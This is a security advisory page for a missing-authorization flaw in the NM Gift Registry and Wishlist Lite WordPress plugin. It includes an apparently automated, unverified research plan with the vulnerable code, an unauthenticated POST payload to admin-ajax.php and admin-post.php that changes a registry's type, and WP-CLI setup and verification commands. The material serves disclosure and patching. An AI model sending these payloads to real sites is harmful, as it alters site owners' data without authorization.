CVE-2026-39588

NM Gift Registry and Wishlist Lite <= 5.13 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.14
Patched in
57d
Time to patch

Description

The NM Gift Registry and Wishlist Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.13. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.13
PublishedFebruary 18, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v5.14

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the process for exploiting a Missing Authorization vulnerability in the **NM Gift Registry and Wishlist Lite** plugin. ### 1. Vulnerability Summary The plugin registers a function `save_chosen_wishlist_type` to the `admin_init` hook in `includes/Lib/AdminPost.php`. This …

Show full research plan

This research plan outlines the process for exploiting a Missing Authorization vulnerability in the NM Gift Registry and Wishlist Lite plugin.

1. Vulnerability Summary

The plugin registers a function save_chosen_wishlist_type to the admin_init hook in includes/Lib/AdminPost.php. This function is intended to allow users to select the type (e.g., 'wishlist' or 'gift-registry') for a newly created registry. However, the function fails to perform any capability checks (Missing Authorization) or nonce validations (Missing CSRF protection).

Because admin_init is triggered during requests to wp-admin/admin-ajax.php regardless of whether the user is logged in, an unauthenticated attacker can call this function to modify the taxonomy type of any existing nm_gift_registry post.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (or admin-post.php, though admin-ajax.php is preferred for unauthenticated triggers).
  • Method: POST
  • Action: Any dummy action (e.g., action=nopriv_test) can be used; the goal is simply to hit the admin_init hook.
  • Vulnerable Parameters:
    • nmgr_id_choose_wishist_type: The ID of the target nm_gift_registry post.
    • nm_gift_registry_type: The taxonomy slug to apply (e.g., wishlist or gift-registry).
  • Authentication: None (PR:N).
  • Preconditions: An existing Gift Registry or Wishlist must exist (post type nm_gift_registry).

3. Code Flow

  1. Request Entry: The attacker sends a POST request to wp-admin/admin-ajax.php.
  2. Hook Trigger: WordPress initializes and calls do_action( 'admin_init' ).
  3. Vulnerable Callback: NMGR\Lib\AdminPost::save_chosen_wishlist_type() is executed as it was registered in AdminPost::run():
    add_action( 'admin_init', array( __CLASS__, 'save_chosen_wishlist_type' ) );
    
  4. Parameter Extraction: The function checks if $_POST['nmgr_id_choose_wishist_type'] is set:
    public static function save_chosen_wishlist_type() {
        if ( !empty( $_POST[ 'nmgr_id_choose_wishist_type' ] ) ) {
            $wishlist = nmgr()->wishlist();
            $wishlist->set_id( ( int ) $_POST[ 'nmgr_id_choose_wishist_type' ] );
            $wishlist->set_type( sanitize_text_field( $_POST[ 'nm_gift_registry_type' ] ) );
            $wishlist->save_type();
        }
    }
    
  5. Execution: The set_type and save_type methods (defined in NMGR\Lib\Wishlist) are called, which update the nm_gift_registry_type taxonomy for the specified post ID without verifying the requester's identity or permissions.

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce. The save_chosen_wishlist_type function does not contain any call to check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). The attack is possible via a direct unauthenticated POST request.

5. Exploitation Strategy

The goal is to change an existing "Wishlist" into a "Gift Registry" (or vice-versa) to demonstrate unauthorized modification of plugin data.

  1. Identify Target: Locate a Wishlist ID (e.g., ID 123).
  2. Formulate Payload:
    • nmgr_id_choose_wishist_type=123
    • nm_gift_registry_type=gift-registry
  3. Execute Request:
    # Payload sent via http_request tool
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=nopriv_exploit&nmgr_id_choose_wishist_type=123&nm_gift_registry_type=gift-registry
    

6. Test Data Setup

Before exploitation, we must ensure a registry exists to modify:

  1. Create Registry: Use WP-CLI to create a registry and assign it the wishlist type.
    # Create the post
    POST_ID=$(wp post create --post_type=nm_gift_registry --post_title="Original Wishlist" --post_status=publish --porcelain)
    
    # Ensure the taxonomy exists and assign 'wishlist'
    wp term create nm_gift_registry_type "Wishlist" --slug=wishlist
    wp term create nm_gift_registry_type "Gift Registry" --slug=gift-registry
    wp post term set $POST_ID nm_gift_registry_type wishlist
    

7. Expected Results

  • The server will return a standard AJAX response (usually 0 since the nopriv_exploit action isn't handled, but the admin_init hook will have already processed our payload).
  • The taxonomy for the post will change from wishlist to gift-registry.

8. Verification Steps

After the HTTP request, verify the taxonomy change using WP-CLI:

# Check the current terms for the target post
wp post term list $POST_ID nm_gift_registry_type --fields=slug

If the output is gift-registry, the exploit was successful.

9. Alternative Approaches

If admin-ajax.php fails due to environment-specific hardening, the same payload can be sent to wp-admin/admin-post.php.

POST /wp-admin/admin-post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

nmgr_id_choose_wishist_type=123&nm_gift_registry_type=gift-registry

Note: In admin-post.php, WordPress might attempt to redirect unauthenticated users to the login page via auth_redirect(), but admin_init fires before most of those checks, potentially allowing the payload to execute before the redirect occurs.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.